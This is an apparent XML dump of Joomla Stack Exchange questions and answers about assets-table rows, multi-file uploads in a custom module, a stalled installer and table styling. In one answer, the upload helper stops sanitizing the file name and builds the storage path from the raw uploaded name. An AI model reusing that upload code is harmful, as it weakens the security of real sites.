  <row Id="14801" PostTypeId="1" AcceptedAnswerId="14815" CreationDate="2015-12-28T16:06:49.510" Score="3" ViewCount="812" Body="&lt;p&gt;Does anyone know what these rows are for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it safe to remove them? Since they seem to be mostly empty?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: this is assets table!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vjx0a.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vjx0a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user6981" LastEditorUserId="126" LastEditDate="2015-12-29T16:36:43.203" LastActivityDate="2015-12-29T16:36:43.203" Title="Joomla assets table ucm rows" Tags="|database|tags|com-content|maintenance|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14803" PostTypeId="2" ParentId="14801" CreationDate="2015-12-28T18:16:52.897" Score="3" Body="&lt;p&gt;The &lt;code&gt;#__ucm_content&lt;/code&gt; database table is used to store tags for core extensions, so I would not remove them, else you may get an error along the line in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See more information tags with extensions here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Using_Tags_in_an_Extension&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Using_Tags_in_an_Extension&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-12-28T18:16:52.897" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14804" PostTypeId="1" CreationDate="2015-12-28T18:28:46.570" Score="1" ViewCount="111" Body="&lt;p&gt;I have multiple custom file inputs in my module , id like to save all this inputs in my database table (&quot;Custom table , not the Joomla tables&quot;) , below is my code , which saves only 1 input , there are 4 inputs :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;helper.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class moduploaddocumentsHelper&#xA;{&#xA;    /**&#xA;     * Retrieves the hello message&#xA;     *&#xA;     * @param   array  $params An object containing the module parameters&#xA;     *&#xA;     * @access public&#xA;     */&#xA;    public static function getdata()&#xA;    {&#xA;       //Retrieve file details from uploaded file, sent from upload form&#xA;        $file = JRequest::getVar('highestacademic', null, 'files', 'array');&#xA;&#xA;        //Import filesystem libraries. Perhaps not necessary, but does not hurt&#xA;        jimport('joomla.filesystem.file');&#xA;&#xA;        //Clean up filename to get rid of strange characters like spaces etc&#xA;        $filename =  uniqid().JFile::makeSafe($file['name']);&#xA;        //Set up the source and destination of the file&#xA;        $src = $file['tmp_name'];&#xA;        $dest = JPATH_BASE . DS . &quot;media&quot; . DS .&quot;documents&quot; . DS . $filename;&#xA;&#xA;&#xA;        // $name=$post['highestacademic']['name'] ;&#xA;        //First check if the file has the right extension, we need jpg only&#xA;        if ( strtolower(JFile::getExt($filename) ) == 'jpg' || strtolower(JFile::getExt($filename) ) == 'png') {&#xA;           if ( JFile::upload($src, $dest) ) {&#xA;             $user = JFactory::getUser();&#xA;             $useid = $user-&amp;gt;id ;&#xA;             // Obtain a database connection&#xA;            $db = JFactory::getDbo();&#xA;            // Create a new query object.&#xA;            $query = $db-&amp;gt;getQuery(true);&#xA;            // Insert columns.&#xA;            $columns = array('user_id', 'document_name');&#xA;&#xA;            // Insert values.&#xA;            $values = array($useid, $db-&amp;gt;quote($filename) );&#xA;            // Retrieve the shout&#xA;            $query&#xA;                    -&amp;gt;insert($db-&amp;gt;quoteName('#__documents'))&#xA;                    -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;                    -&amp;gt;values(implode(',', $values));&#xA;            $db-&amp;gt;setQuery($query);&#xA;            $db-&amp;gt;execute();&#xA;            JFactory::getApplication()-&amp;gt;enqueueMessage(JText::_('DOCUMENT SUCCESFULLY UPLOADED'), 'Message');&#xA;&#xA;           } else {&#xA;             echo &quot;error !&quot;; //Redirect and throw an error message&#xA;           }&#xA;        } else {&#xA;           echo &quot;Wrong extension !&quot;; //Redirect and notify user file is not right extension&#xA;        }&#xA;         return $dest ;&#xA;&#xA;    }&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/tmpl/default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form  method=&quot;post&quot; enctype=&quot;multipart/form-data&quot; &amp;gt;&#xA;      &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;highestacademic&quot;&amp;gt;Attachment of Highest Academic Qualifications&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input name=&quot;highestacademic&quot; type=&quot;file&quot; id=&quot;highestacademic&quot;&amp;gt;&#xA;        &amp;lt;p class=&quot;help-block&quot;&amp;gt;Degree, Diploma, Pre-University, GCE O-Levels, etc.&amp;lt;/p&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;language&quot;&amp;gt;Attachment of Language Qualifications&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input name=&quot;language&quot; type=&quot;file&quot; id=&quot;language&quot;&amp;gt;&#xA;        &amp;lt;p class=&quot;help-block&quot;&amp;gt;TOEFL, IELTS , etc.&amp;lt;/p&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;passport&quot;&amp;gt;Attachment of Passport Copy&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input name=&quot;passport&quot; type=&quot;file&quot; id=&quot;passport&quot;&amp;gt;&#xA;        &amp;lt;p class=&quot;help-block&quot;&amp;gt;ID or Passport copies both sides.&amp;lt;/p&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;supporting&quot;&amp;gt;Other Supporting Documents&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input name=&quot;supporting&quot; type=&quot;file&quot; id=&quot;supporting&quot;&amp;gt;&#xA;        &amp;lt;p class=&quot;help-block&quot;&amp;gt;Other supporting documents ie photos ,etc .&amp;lt;/p&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;       &amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-default&quot;&amp;gt;Submit&amp;lt;/button&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7463" LastEditorUserId="1811" LastEditDate="2015-12-28T20:04:50.843" LastActivityDate="2016-05-26T22:39:26.130" Title="Mulitple column insert" Tags="|joomla-3.x|module|file-upload|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14805" PostTypeId="1" AcceptedAnswerId="14808" CreationDate="2015-12-28T19:54:51.230" Score="1" ViewCount="1755" Body="&lt;p&gt;Not the place I though I would get stuck. My web host (buddy) reinstalled his OS and since I had never really worked on the site much I opted to start over. He is using NGINX if it matters. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple problem to describe really. I cannot click next on the first page of the installation. When you click the button, regardless if the form is filled to completion, a progress bar appears briefly and then goes away. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The version is 3.4.8 but I don't think the version matters. Server is running php v5.4.16 which meets the recommended specs for that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have cleared and unzipped the webroot directory a couple of times. This does not seems like a permissions issue but I am not sure. &lt;/p&gt;&#xA;" OwnerUserId="1811" LastActivityDate="2019-01-13T06:44:43.140" Title="Can't click next on new installation" Tags="|joomla-3.x|joomla-3.4|installation|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14807" PostTypeId="2" ParentId="14804" CreationDate="2015-12-28T20:31:25.760" Score="2" Body="&lt;p&gt;I finally solved this by using &lt;code&gt;$jinput-&amp;gt;files-&amp;gt;get()&lt;/code&gt; as in below : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note the &lt;code&gt;doc[1]&lt;/code&gt;  which puts all upload files in an array in the &lt;code&gt;Jinput&lt;/code&gt; object here &lt;code&gt;$files = $jinput-&amp;gt;files-&amp;gt;get('docs');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;helper.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class moddocumentsHelper&#xA;{&#xA;    /**&#xA;     * Retrieves the hello message&#xA;     *&#xA;     * @param   array  $params An object containing the module parameters&#xA;     *&#xA;     * @access public&#xA;     */&#xA;    public static function getdata()&#xA;    {&#xA;        $jinput = JFactory::getApplication()-&amp;gt;input;&#xA;       //Retrieve file details from uploaded file, sent from upload form&#xA;        //$file = JRequest::getVar('highestacademic', null, 'files', 'array');&#xA;         $files = $jinput-&amp;gt;files-&amp;gt;get('docs');&#xA;        //Import filesystem libraries. Perhaps not necessary, but does not hurt&#xA;         jimport('joomla.filesystem.file');&#xA;        foreach($files as $key =&amp;gt; $file ){&#xA;          if($file['name'] !== &quot; &quot;){&#xA;             // //Clean up filename to get rid of strange characters like spaces etc&#xA;               $filename =  uniqid().$file['name'];&#xA;              // //Set up the source and destination of the file&#xA;                $src = $file['tmp_name'];&#xA;                $dest = JPATH_BASE . DS . &quot;media&quot; . DS .&quot;documents&quot; . DS . $filename;&#xA;&#xA;&#xA;&#xA;              // //First check if the file has the right extension, we need jpg only&#xA;               if ( strtolower(JFile::getExt($filename) ) == 'jpg' || strtolower(JFile::getExt($filename) ) == 'png' || strtolower(JFile::getExt($filename) ) == 'pdf' || strtolower(JFile::getExt($filename) ) == 'doc') {&#xA;                   if ( JFile::upload($src, $dest) ) {&#xA;                    $user = JFactory::getUser();&#xA;                    $useid = $user-&amp;gt;id ;&#xA;              //     // Obtain a database connection&#xA;                    $db = JFactory::getDbo();&#xA;              //     // Create a new query object.&#xA;                    $query = $db-&amp;gt;getQuery(true);&#xA;              //     // Insert columns.&#xA;                   $columns = array('user_id', 'document_name' ,'type');&#xA;&#xA;              //     // Insert values.&#xA;                   $values = array($useid, $db-&amp;gt;quote($filename) , $db-&amp;gt;quote($key));&#xA;              //     // Retrieve the shout&#xA;                   $query&#xA;                           -&amp;gt;insert($db-&amp;gt;quoteName('#__documents'))&#xA;                           -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;                           -&amp;gt;values(implode(',', $values));&#xA;                   $db-&amp;gt;setQuery($query);&#xA;                   $db-&amp;gt;execute();&#xA;&#xA;              //     // Redirect to a page of your choice&#xA;              //     // header(&quot;Location: http://&quot;.$_SERVER[&quot;HTTP_HOST&quot;].&quot;/administrator&quot;);&#xA;                 } else {&#xA;                  echo &quot;error !&quot;; //Redirect and throw an error message&#xA;                 }&#xA;               } else {&#xA;                 echo &quot;Wrong extension !&quot;; //Redirect and notify user file is not right extension&#xA;              }&#xA;          }&#xA;&#xA;        }&#xA;&#xA;&#xA;         return $files ;&#xA;&#xA;    }&#xA;&#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;tmpl/default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;form  method=&quot;post&quot; enctype=&quot;multipart/form-data&quot; &amp;gt;&#xA;      &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;highestacademic&quot;&amp;gt;Attachment of Highest Academic Qualifications&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input name=&quot;docs[1]&quot; type=&quot;file&quot; id=&quot;highestacademic&quot;&amp;gt;&#xA;        &amp;lt;p class=&quot;help-block&quot;&amp;gt;Degree, Diploma, Pre-University, GCE O-Levels, etc.&amp;lt;/p&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;language&quot;&amp;gt;Attachment of Language Qualifications&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input name=&quot;docs[2]&quot; type=&quot;file&quot; id=&quot;language&quot;&amp;gt;&#xA;        &amp;lt;p class=&quot;help-block&quot;&amp;gt;TOEFL, IELTS , etc.&amp;lt;/p&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;passport&quot;&amp;gt;Attachment of Passport Copy&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input name=&quot;docs[3]&quot; type=&quot;file&quot; id=&quot;passport&quot;&amp;gt;&#xA;        &amp;lt;p class=&quot;help-block&quot;&amp;gt;ID or Passport copies both sides.&amp;lt;/p&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;supporting&quot;&amp;gt;Other Supporting Documents&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input name=&quot;docs[4]&quot; type=&quot;file&quot; id=&quot;supporting&quot;&amp;gt;&#xA;        &amp;lt;p class=&quot;help-block&quot;&amp;gt;Other supporting documents ie photos ,etc .&amp;lt;/p&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;       &amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-default&quot;&amp;gt;Submit&amp;lt;/button&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7463" LastActivityDate="2015-12-28T20:31:25.760" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14808" PostTypeId="2" ParentId="14805" CreationDate="2015-12-28T20:37:03.530" Score="5" Body="&lt;p&gt;If you cannot install Joomla, then your server is not filling the minimum requirements. For instance, a basic PHP configuration must have certain PHP extensions enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check your browser console or server log to review if there is a more detailed error output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PD: PHP 5.4 is not longer stable, it has reached its end of life. I would recommend at least PHP 5.5 &lt;a href=&quot;https://secure.php.net/releases/&quot; rel=&quot;noreferrer&quot;&gt;https://secure.php.net/releases/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-12-28T20:37:03.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14809" PostTypeId="1" AcceptedAnswerId="14810" CreationDate="2015-12-29T07:12:30.633" Score="1" ViewCount="59" Body="&lt;p&gt;The following table is displaying correctly in the back-end. Why is it not displayed correctly in the front-end?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table border=&quot;1&quot; style=&quot;margin: 0px; padding: 0px; z-index: 0; text-align: center; width: 833px; height: 204px;&quot; cellspacing=&quot;1&quot; cellpadding=&quot;1&quot;&amp;gt;&#xA;                &amp;lt;tbody style=&quot;margin: 0px; padding: 0px; z-index: 0;&quot;&amp;gt;&#xA;                    &amp;lt;tr style=&quot;margin: 0px; padding: 0px; z-index: 0;&quot;&amp;gt;&#xA;                        &amp;lt;td rowspan=&quot;2&quot; style=&quot;margin: 0px; padding: 0px; z-index: 0;&quot;&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; &amp;amp;nbsp; &amp;amp;nbsp; &amp;amp;nbsp; &amp;amp;nbsp;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td style=&quot;margin: 0px; padding: 0px; z-index: 0;&quot;&amp;gt;&amp;lt;strong style=&quot;margin: 0px; padding: 0px; z-index: 0;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; color: #000080;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; font-size: medium;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; font-family: Arial;&quot;&amp;gt;&amp;amp;nbsp; REGULAR&amp;amp;nbsp; &amp;lt;br /&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/strong&amp;gt;&#xA;                        &amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td style=&quot;margin: 0px; padding: 0px; z-index: 0;&quot;&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp; &amp;amp;nbsp;&amp;amp;nbsp; &amp;amp;nbsp; &amp;amp;nbsp; &amp;amp;nbsp;&amp;amp;nbsp; &amp;amp;nbsp; &amp;amp;nbsp; &amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td colspan=&quot;3&quot; style=&quot;margin: 0px; padding: 0px; z-index: 0; text-align: center;&quot;&amp;gt;&amp;lt;strong style=&quot;margin: 0px; padding: 0px; z-index: 0;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; color: #000080;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; font-size: medium;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; font-family: Arial;&quot;&amp;gt;&amp;amp;nbsp; ASSOCIATE &amp;amp;nbsp;&amp;amp;nbsp; &amp;lt;br /&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/strong&amp;gt;&#xA;                        &amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td rowspan=&quot;2&quot; style=&quot;margin: 0px; padding: 0px; z-index: 0;&quot;&amp;gt;&amp;lt;strong style=&quot;margin: 0px; padding: 0px; z-index: 0;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; color: #000080;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; font-size: medium;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; font-family: Arial;&quot;&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp; MOTORSPORTS&amp;amp;nbsp;&amp;amp;nbsp; &amp;lt;br /&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/strong&amp;gt;&#xA;                        &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;                    &amp;lt;tr style=&quot;margin: 0px; padding: 0px; z-index: 0;&quot;&amp;gt;&#xA;                        &amp;lt;td style=&quot;margin: 0px; padding: 0px; z-index: 0;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; color: #000080;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; font-size: medium;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; font-family: Arial;&quot;&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp; &amp;amp;nbsp; &amp;amp;nbsp;&amp;amp;nbsp; &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; Individual &amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;/span&amp;gt;&#xA;                        &amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td style=&quot;margin: 0px; padding: 0px; z-index: 0; text-align: center;&quot;&amp;gt;&amp;amp;nbsp; &amp;amp;nbsp;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; font-family: Arial;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; font-size: medium;&quot;&amp;gt;&amp;amp;nbsp; &amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; color: #000080;&quot;&amp;gt;PIDP&amp;amp;nbsp; &amp;amp;nbsp; &amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&#xA;                            &amp;lt;/span&amp;gt;&amp;lt;strong style=&quot;margin: 0px; padding: 0px; z-index: 0;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; font-family: Arial;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; font-size: medium;&quot;&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/strong&amp;gt;&#xA;                        &amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td style=&quot;margin: 0px; padding: 0px; z-index: 0;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; color: #000080;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; font-size: medium;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; font-family: Arial;&quot;&amp;gt;Individual&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;/span&amp;gt;&#xA;                        &amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td colspan=&quot;2&quot; style=&quot;margin: 0px; padding: 0px; z-index: 0;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; color: #000080;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; font-size: medium;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; font-family: Arial;&quot;&amp;gt;Group&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;/span&amp;gt;&#xA;                        &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;                    &amp;lt;tr style=&quot;margin: 0px; padding: 0px; z-index: 0;&quot;&amp;gt;&#xA;                        &amp;lt;td style=&quot;margin: 0px; padding: 0px; z-index: 0;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; font-size: small;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; font-family: Arial;&quot;&amp;gt;ERS interventions per year&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td style=&quot;margin: 0px; padding: 0px; z-index: 0;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; font-size: small;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; font-family: Arial;&quot;&amp;gt;4 interventions or 100 km tow distance whichever comes first&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td style=&quot;margin: 0px; padding: 0px; z-index: 0;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; font-size: small;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; font-family: Arial;&quot;&amp;gt;4 interventions or 100 km tow distance whichever comes first&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td style=&quot;margin: 0px; padding: 0px; z-index: 0;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; font-size: small;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; font-family: Arial;&quot;&amp;gt;3 interventions or 60 km tow distance whichever comes first&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td colspan=&quot;2&quot; style=&quot;margin: 0px; padding: 0px; z-index: 0;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; font-family: Arial;&quot;&amp;gt;2 interventions or 40 km tow distance whichever comes first&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td style=&quot;margin: 0px; padding: 0px; z-index: 0; text-align: center;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; font-size: small;&quot;&amp;gt;&amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; font-family: Arial;&quot;&amp;gt;4 interventions or 100 km tow distance whichever comes first&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;/tbody&amp;gt;&#xA;            &amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7520" LastEditorUserId="120" LastEditDate="2015-12-30T09:42:18.927" LastActivityDate="2015-12-30T09:42:18.927" Title="Why does my table look OK in the back-end but is not formatted correctly in the font-end?" Tags="|articles|" AnswerCount="2" CommentCount="3" FavoriteCount="0" ClosedDate="2015-12-29T20:43:46.957" ContentLicense="CC BY-SA 3.0" />
  <row Id="14810" PostTypeId="2" ParentId="14809" CreationDate="2015-12-29T10:39:07.607" Score="3" Body="&lt;p&gt;The most likely cause that your table looks different in the front-end is table styling in your &lt;code&gt;template.css&lt;/code&gt; file or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it is, much of the existing styling code is duplicated and hard to read and you would be better moving as much of the styling information as possible into CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, custom CSS should be placed in a &lt;code&gt;custom.css&lt;/code&gt; file or similar (assuming your template has this feature) or you could add a custom CSS file using a third party extension like &lt;a href=&quot;http://extensions.joomla.org/extensions/style-a-design/templating/24523&quot; rel=&quot;nofollow&quot;&gt;CSSConfig&lt;/a&gt; or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example you could simplify your table cell HTML from this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td style=&quot;margin: 0px; padding: 0px; z-index: 0; text-align: center;&quot;&amp;gt;&#xA;  &amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; font-size: small;&quot;&amp;gt;&#xA;    &amp;lt;span style=&quot;margin: 0px; padding: 0px; z-index: 0; font-family: Arial;&quot;&amp;gt;&#xA;      4 interventions or 100 km tow distance whichever comes first&#xA;    &amp;lt;/span&amp;gt;&#xA;  &amp;lt;/span&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td&amp;gt;&#xA;  4 interventions or 100 km tow distance whichever comes first&#xA;&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;by creating some CSS like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;td {&#xA;  margin: 0px;&#xA;  padding: 0px;&#xA;  z-index: 0;&#xA;  text-align: center;&#xA;  font-size: small;&#xA;  font-family: Arial;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once simplified as per the above example, it will likely be easier to see why the table looks different in the front-end and be able to fix it easily in CSS.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2015-12-29T10:39:07.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14811" PostTypeId="2" ParentId="14809" CreationDate="2015-12-29T14:06:21.480" Score="2" Body="&lt;p&gt;Keep in mind that creating constant layouts with tables isn't that easy or flexible and also can easily break. Especially when you are using too much inline-css and try to fill in cell's space with non-breaking spaces. Also regarding any differences you see in the front-end, consider that your table most likely is affected by css that is loaded with your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best approach would be to have a totally plain table, containing only the data, give this table a special class or id, and then target and style it with css from an external css file e.g. custom.css of your template.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-12-29T15:07:27.387" LastActivityDate="2015-12-29T15:07:27.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
